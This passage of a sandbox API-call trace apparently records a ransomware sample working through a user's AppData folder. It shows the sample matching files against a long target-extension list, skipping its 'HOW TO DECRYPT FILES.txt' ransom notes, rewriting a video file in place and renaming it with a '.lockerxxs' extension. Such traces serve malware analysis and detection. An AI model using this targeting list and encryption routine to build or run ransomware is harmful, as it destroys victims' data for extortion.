PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.xlsm") returned 0 [0087.247] lstrlenA (lpString="*.xlsm") returned 6 [0087.247] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.dwg") returned 0 [0087.247] lstrlenA (lpString="*.dwg") returned 5 [0087.247] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.nd") returned 0 [0087.247] lstrlenA (lpString="*.nd") returned 4 [0087.247] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.tlg") returned 0 [0087.247] lstrlenA (lpString="*.tlg") returned 5 [0087.247] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.lgb") returned 0 [0087.247] lstrlenA (lpString="*.lgb") returned 5 [0087.247] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.mov") returned 0 [0087.247] lstrlenA (lpString="*.mov") returned 5 [0087.247] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.xdw") returned 0 [0087.247] lstrlenA (lpString="*.xdw") returned 5 [0087.247] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.ods") returned 0 [0087.247] lstrlenA (lpString="*.ods") returned 5 [0087.247] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.wav") returned 0 [0087.247] lstrlenA (lpString="*.wav") returned 5 [0087.248] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.mp3") returned 0 [0087.265] lstrlenA (lpString="*.mp3") returned 5 [0087.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.aiff") returned 0 [0087.266] lstrlenA (lpString="*.aiff") returned 6 [0087.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.flac") returned 0 [0087.266] lstrlenA (lpString="*.flac") returned 6 [0087.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.m4a") returned 0 [0087.266] lstrlenA (lpString="*.m4a") returned 5 [0087.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.csv") returned 0 [0087.266] lstrlenA (lpString="*.csv") returned 5 [0087.266] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x296efe10, ftCreationTime.dwHighDateTime=0x1d5e218, ftLastAccessTime.dwLowDateTime=0xac6dfb10, ftLastAccessTime.dwHighDateTime=0x1d5e180, ftLastWriteTime.dwLowDateTime=0xac6dfb10, ftLastWriteTime.dwHighDateTime=0x1d5e180, nFileSizeHigh=0x0, nFileSizeLow=0xeaef, dwReserved0=0x0, dwReserved1=0x0, cFileName="2TpAIn tjGciG.mp4", cAlternateFileName="2TPAIN~1.MP4")) returned 1 [0087.266] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0087.266] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="2TpAIn tjGciG.mp4") returned 1 [0087.266] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="2TpAIn tjGciG.mp4") returned 1 [0087.266] lstrcmpiA (lpString1="", lpString2="2TpAIn tjGciG.mp4") returned -1 [0087.266] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp") returned="2PLnC8T0na.bmp" [0087.266] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0087.266] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="" [0087.266] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" [0087.267] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt")) returned 0x2020 [0087.267] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="2TpAIn tjGciG.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4" [0087.267] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.ems") returned 0 [0087.267] lstrlenA (lpString="*.ems") returned 5 [0087.267] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.db") returned 0 [0087.267] lstrlenA (lpString="*.db") returned 4 [0087.267] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.dbf") returned 0 [0087.267] lstrlenA (lpString="*.dbf") returned 5 [0087.267] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.myox") returned 0 [0087.267] lstrlenA (lpString="*.myox") returned 6 [0087.267] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.myo") returned 0 [0087.267] lstrlenA (lpString="*.myo") returned 5 [0087.267] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.qbw") returned 0 [0087.267] lstrlenA (lpString="*.qbw") returned 5 [0087.268] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.qbb") returned 0 [0087.268] lstrlenA (lpString="*.qbb") returned 5 [0087.268] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.qbm") returned 0 [0087.268] lstrlenA (lpString="*.qbm") returned 5 [0087.268] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.qbo") returned 0 [0087.268] lstrlenA (lpString="*.qbo") returned 5 [0087.268] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.qbx") returned 0 [0087.268] lstrlenA (lpString="*.qbx") returned 5 [0087.268] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.qba") returned 0 [0087.268] lstrlenA (lpString="*.qba") returned 5 [0087.268] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.qby") returned 0 [0087.268] lstrlenA (lpString="*.qby") returned 5 [0087.268] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.qbj") returned 0 [0087.268] lstrlenA (lpString="*.qbj") returned 5 [0087.268] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.ofx") returned 0 [0087.268] lstrlenA (lpString="*.ofx") returned 5 [0087.268] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.qif") returned 0 [0087.268] lstrlenA (lpString="*.qif") returned 5 [0087.268] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.mye") returned 0 [0087.268] lstrlenA (lpString="*.mye") returned 5 [0087.269] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.mbox") returned 0 [0087.269] lstrlenA (lpString="*.mbox") returned 6 [0087.269] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.eml") returned 0 [0087.269] lstrlenA (lpString="*.eml") returned 5 [0087.269] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.pst") returned 0 [0087.269] lstrlenA (lpString="*.pst") returned 5 [0087.269] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.ost") returned 0 [0087.269] lstrlenA (lpString="*.ost") returned 5 [0087.269] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.idx") returned 0 [0087.269] lstrlenA (lpString="*.idx") returned 5 [0087.269] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.dbx") returned 0 [0087.269] lstrlenA (lpString="*.dbx") returned 5 [0087.269] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.sql") returned 0 [0087.269] lstrlenA (lpString="*.sql") returned 5 [0087.269] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.mdb") returned 0 [0087.269] lstrlenA (lpString="*.mdb") returned 5 [0087.269] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.fdb") returned 0 [0087.269] lstrlenA (lpString="*.fdb") returned 5 [0087.269] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.wab") returned 0 [0087.269] lstrlenA (lpString="*.wab") returned 5 [0087.270] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.dat") returned 0 [0087.270] lstrlenA (lpString="*.dat") returned 5 [0087.270] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.txt") returned 0 [0087.270] lstrlenA (lpString="*.txt") returned 5 [0087.270] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.jpeg") returned 0 [0087.270] lstrlenA (lpString="*.jpeg") returned 6 [0087.270] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.jpg") returned 0 [0087.270] lstrlenA (lpString="*.jpg") returned 5 [0087.270] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.png") returned 0 [0087.270] lstrlenA (lpString="*.png") returned 5 [0087.270] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.php") returned 0 [0087.270] lstrlenA (lpString="*.php") returned 5 [0087.270] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.cs") returned 0 [0087.270] lstrlenA (lpString="*.cs") returned 4 [0087.270] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.cpp") returned 0 [0087.270] lstrlenA (lpString="*.cpp") returned 5 [0087.270] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.rar") returned 0 [0087.270] lstrlenA (lpString="*.rar") returned 5 [0087.270] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.zip") returned 0 [0087.271] lstrlenA (lpString="*.zip") returned 5 [0087.271] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.html") returned 0 [0087.271] lstrlenA (lpString="*.html") returned 6 [0087.271] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.htm") returned 0 [0087.271] lstrlenA (lpString="*.htm") returned 5 [0087.271] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.xlsx") returned 0 [0087.271] lstrlenA (lpString="*.xlsx") returned 6 [0087.271] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.xls") returned 0 [0087.271] lstrlenA (lpString="*.xls") returned 5 [0087.271] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", pszSpec="*.mp4") returned 1 [0087.271] lstrlenA (lpString="*.mp4") returned 5 [0087.271] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4" [0087.271] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4" [0087.271] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4." [0087.271] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4.lockerxxs" [0087.271] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2tpain tjgcig.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0087.272] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xeaef [0087.272] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x296efe10, dwHighDateTime=0x1d5e218), lpLastAccessTime=0x407536*(dwLowDateTime=0xac6dfb10, dwHighDateTime=0x1d5e180), lpLastWriteTime=0x40753e*(dwLowDateTime=0xac6dfb10, dwHighDateTime=0x1d5e180)) returned 1 [0087.272] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.272] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xeac9, lpOverlapped=0x0) returned 1 [0087.275] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4") returned="2TpAIn tjGciG.mp4" [0087.276] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.276] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xeac9, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xeac9, lpOverlapped=0x0) returned 1 [0087.276] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0087.276] CloseHandle (hObject=0x8c) returned 1 [0087.277] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2tpain tjgcig.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2tpain tjgcig.mp4.lockerxxs")) returned 1 [0087.278] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4826d9e0, ftCreationTime.dwHighDateTime=0x1d5e0f6, ftLastAccessTime.dwLowDateTime=0xb5b7b680, ftLastAccessTime.dwHighDateTime=0x1d5dbe4, ftLastWriteTime.dwLowDateTime=0xb5b7b680, ftLastWriteTime.dwHighDateTime=0x1d5dbe4, nFileSizeHigh=0x0, nFileSizeLow=0x2973, dwReserved0=0x33000330, dwReserved1=0x4e00c4, cFileName="77Dq4 6krTiGxW.rtf", cAlternateFileName="77DQ46~1.RTF")) returned 1 [0087.278] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0087.278] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="77Dq4 6krTiGxW.rtf") returned 1 [0087.278] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="77Dq4 6krTiGxW.rtf") returned 1 [0087.279] lstrcmpiA (lpString1="", lpString2="77Dq4 6krTiGxW.rtf") returned -1 [0087.279] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2TpAIn tjGciG.mp4") returned="2TpAIn tjGciG.mp4" [0087.279] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0087.279] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="" [0087.279] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" [0087.279] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt")) returned 0x2020 [0087.279] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="77Dq4 6krTiGxW.rtf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf" [0087.279] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.ems") returned 0 [0087.279] lstrlenA (lpString="*.ems") returned 5 [0087.279] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.db") returned 0 [0087.279] lstrlenA (lpString="*.db") returned 4 [0087.279] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.dbf") returned 0 [0087.279] lstrlenA (lpString="*.dbf") returned 5 [0087.279] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.myox") returned 0 [0087.279] lstrlenA (lpString="*.myox") returned 6 [0087.279] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.myo") returned 0 [0087.279] lstrlenA (lpString="*.myo") returned 5 [0087.279] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.qbw") returned 0 [0087.279] lstrlenA (lpString="*.qbw") returned 5 [0087.279] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.qbb") returned 0 [0087.280] lstrlenA (lpString="*.qbb") returned 5 [0087.280] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.qbm") returned 0 [0087.280] lstrlenA (lpString="*.qbm") returned 5 [0087.280] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.qbo") returned 0 [0087.280] lstrlenA (lpString="*.qbo") returned 5 [0087.280] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.qbx") returned 0 [0087.280] lstrlenA (lpString="*.qbx") returned 5 [0087.280] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.qba") returned 0 [0087.280] lstrlenA (lpString="*.qba") returned 5 [0087.280] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.qby") returned 0 [0087.280] lstrlenA (lpString="*.qby") returned 5 [0087.280] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.qbj") returned 0 [0087.280] lstrlenA (lpString="*.qbj") returned 5 [0087.280] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.ofx") returned 0 [0087.280] lstrlenA (lpString="*.ofx") returned 5 [0087.280] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.qif") returned 0 [0087.280] lstrlenA (lpString="*.qif") returned 5 [0087.280] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.mye") returned 0 [0087.280] lstrlenA (lpString="*.mye") returned 5 [0087.280] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.mbox") returned 0 [0087.280] lstrlenA (lpString="*.mbox") returned 6 [0087.280] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.eml") returned 0 [0087.280] lstrlenA (lpString="*.eml") returned 5 [0087.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.pst") returned 0 [0087.281] lstrlenA (lpString="*.pst") returned 5 [0087.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.ost") returned 0 [0087.281] lstrlenA (lpString="*.ost") returned 5 [0087.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.idx") returned 0 [0087.281] lstrlenA (lpString="*.idx") returned 5 [0087.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.dbx") returned 0 [0087.281] lstrlenA (lpString="*.dbx") returned 5 [0087.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.sql") returned 0 [0087.281] lstrlenA (lpString="*.sql") returned 5 [0087.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.mdb") returned 0 [0087.281] lstrlenA (lpString="*.mdb") returned 5 [0087.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 